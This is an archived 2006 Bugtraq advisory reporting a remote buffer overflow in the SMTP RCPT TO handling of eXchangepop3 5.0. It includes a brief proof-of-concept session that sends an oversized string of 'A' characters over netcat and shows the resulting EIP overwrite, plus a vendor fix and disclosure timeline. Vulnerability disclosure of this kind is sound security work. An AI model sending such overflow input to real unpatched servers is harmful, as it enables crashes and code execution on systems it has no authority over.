bugtraq - Exchangepop3 rcpt buffer overflow vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 3 Feb 2006 12:08:55 -0000
From: <securma@...x.org>
To: <bugtraq@...urityfocus.com>
Subject: Exchangepop3 rcpt buffer overflow vulnerability

Author: securma massine <securma@...x.org>
MorX Security Research Team
http://www.morx.org

Product info :
EXchangepop3 is an email gateway (connector) that retrieves messages from 
Internet POP3 email accounts and delivers them to Exchange Server.
Vulnerability Description:
eXchangepop3 is vulnerable to buffer overflow attack.
boundary errors in the handling of the RCPT TO (smtp) commands by sending a 
large buffer, allow remote users to set a new Instruction Pointer to execute 
arbitrary code and gain access on system.

C:\>nc 127.0.0.1 25
220 aaa ESMTP
mail  [enter]
250 OK
rcpt to:<AAAAAA....("A"x4112)
we have :
eax=00000001 ebx=007334e0 ecx=41414141 edx=7c91eb94 esi=00455a38 
edi=0f010001
eip=41414141 esp=0221f750 ebp=00000001 iopl=0         nv up ei pl nz ac po 
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 
efl=00010216
41414141 ??               ???

Affected Software(s):
Exchangepop3 v 5.0 (build 050203)

Affected platform(s):
Windows

Exploit/Proof of Concept:
http://www.morx.org/expl5.txt

Solution :
The vendor has released a new build fixing the problem :
The build number is 060125.
http://www.exchangepop3.com/

History:
14/01/2006  initial vendor contact
16/01/2006  vendor received details about the vulnerabilty
02/02/2006  vendor released the fixed build

Disclaimer:
this entire document is for eductional, testing and demonstrating purpose 
only.

Greets:
Greets to undisputed and  all MorX members.